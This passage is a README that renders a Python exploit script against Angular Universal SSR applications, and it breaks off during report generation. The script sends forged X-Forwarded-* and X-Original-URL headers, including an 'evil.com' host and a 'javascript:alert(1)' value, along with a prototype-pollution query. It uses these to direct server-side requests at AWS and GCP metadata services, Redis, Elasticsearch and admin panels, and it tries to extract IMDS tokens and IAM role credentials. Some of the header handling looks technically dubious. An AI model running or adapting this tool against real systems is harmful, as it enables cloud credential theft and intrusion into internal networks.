README.md
Rendering markdown...
#!/usr/bin/env python3
"""
Angular SSR SSRF & Header Injection Exploit
Targets Angular Universal SSR apps with unsafe HTTP header processing and SSRF in request forwarding pipelines.
Vulnerabilities exploited:
1. SSRF via unsanitized `X-Forwarded-*` or `X-Original-URL` headers in SSR request handling
2. Header injection via prototype pollution or unsafe header parsing in Angular SSR
3. Server-side request forgery to internal metadata services, AWS IMDS, GCP metadata, etc.
"""
import requests
import argparse
import sys
from urllib.parse import urljoin, urlparse
import re
class AngularSSRExploit:
def __init__(self, target_url, ssl_verify=True):
self.target = target_url.rstrip('/')
self.session = requests.Session()
self.session.verify = ssl_verify
# Common SSRF targets
self.ssrF_targets = [
"http://169.254.169.254/latest/meta-data/", # AWS IMDSv1
"http://169.254.169.254/latest/user-data", # AWS userdata
"http://metadata.google.internal/computeMetadata/v1/", # GCP
"http://169.254.169.254/metadata/identity/oauth2/token", # IMDSv2
"http://localhost:8080/admin", # Local admin panels
"http://127.0.0.1:9200/_cat/indices", # Elasticsearch
"http://localhost:6379/info", # Redis
]
def test_header_injection(self):
"""Test for header injection via Angular SSR prototype pollution"""
payloads = [
# Prototype pollution via query params (Angular SSR common)
{"url": f"{self.target}?__proto__[evil]=test"},
# X-Forwarded-For header injection
{
"headers": {
"X-Forwarded-For": "127.0.0.1",
"X-Forwarded-Host": "evil.com",
"X-Real-IP": "127.0.0.1"
}
},
# Angular-specific header pollution
{
"headers": {
"X-Original-URL": "javascript:alert(1)",
"X-Forwarded-Proto": "https",
"X-Forwarded-Port": "1337"
}
}
]
print("[+] Testing header injection vectors...")
for i, payload in enumerate(payloads):
try:
resp = self.session.get(self.target, params=payload.get('params', {}),
headers=payload.get('headers', {}), timeout=10)
print(f"[{i+1}] Status: {resp.status_code}")
# Check for pollution indicators
if "evil" in resp.text or resp.status_code == 500:
print(f" [!] Potential header injection detected!")
except Exception as e:
print(f"[{i+1}] Error: {e}")
def ssrf_via_headers(self, internal_target):
"""Exploit SSRF through forwarded headers"""
print(f"[+] Testing SSRF to {internal_target} via headers...")
headers = {
"X-Forwarded-For": internal_target,
"X-Forwarded-Host": urlparse(internal_target).netloc,
"X-Real-IP": internal_target,
"X-Original-URL": internal_target,
"X-Forwarded-Proto": "http",
"X-Forwarded-Port": "80"
}
try:
resp = self.session.get(self.target, headers=headers, timeout=15)
# Check response for SSRF success indicators
ssrf_indicators = [
"169.254.169.254", "metadata", "iam", "token",
"elastic", "redis", "admin", "profile"
]
content = resp.text.lower()
for indicator in ssrf_indicators:
if indicator in content:
print(f" [!] SSRF SUCCESS: {indicator} found in response!")
print(f" Content preview: {content[:500]}...")
return True
except Exception as e:
print(f" Error: {e}")
return False
def exploit_ssrf_chain(self):
"""Full SSRF chain exploitation"""
print("\n[+] Starting SSRF chain exploitation...")
for target in self.ssrF_targets:
if self.ssrf_via_headers(target):
print(f"\n[!] CRITICAL: SSRF confirmed to {target}")
print(" Recommendation: Sanitize all X-Forwarded-* headers")
print(" CVSS: 9.1 (Critical - Network Attack Surface)")
def extract_sensitive_data(self):
"""Attempt to extract sensitive data via SSRF"""
print("\n[+] Attempting sensitive data extraction...")
# AWS IMDSv2 token extraction
imds_headers = {
"X-Forwarded-For": "http://169.254.169.254/latest/api/token",
"X-Forwarded-Host": "169.254.169.254"
}
resp = self.session.get(self.target, headers=imds_headers, timeout=10)
token_match = re.search(r'token["\s]*:\s*["\']([A-Za-z0-9-_]+)', resp.text)
if token_match:
print(f"[!] AWS IMDSv2 token found: {token_match.group(1)}")
# Use token for metadata access
token_headers = {
"X-Forwarded-For": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"X-Forwarded-Host": "169.254.169.254",
"X-Metadata-Token": token_match.group(1)
}
token_resp = self.session.get(self.target, headers=token_headers, timeout=10)
print(f"[!] IAM Role data: {token_resp.text[:300]}...")
def generate_report(self):
"""Generate pentest report"""
report = f"""
# Angular SSR SSRF & Header Injection Report
## Target
{self.target}
## Vulnerabilities Discovered
### 1. SSRF via Unsafe Header Processing (CVSS: 9.1)
**Description**: Application forwards unsanitized X-Forwarded-* headers to backend services
**Impact**: Internal network access, cloud metadata extraction, RCE potential
**PoC**: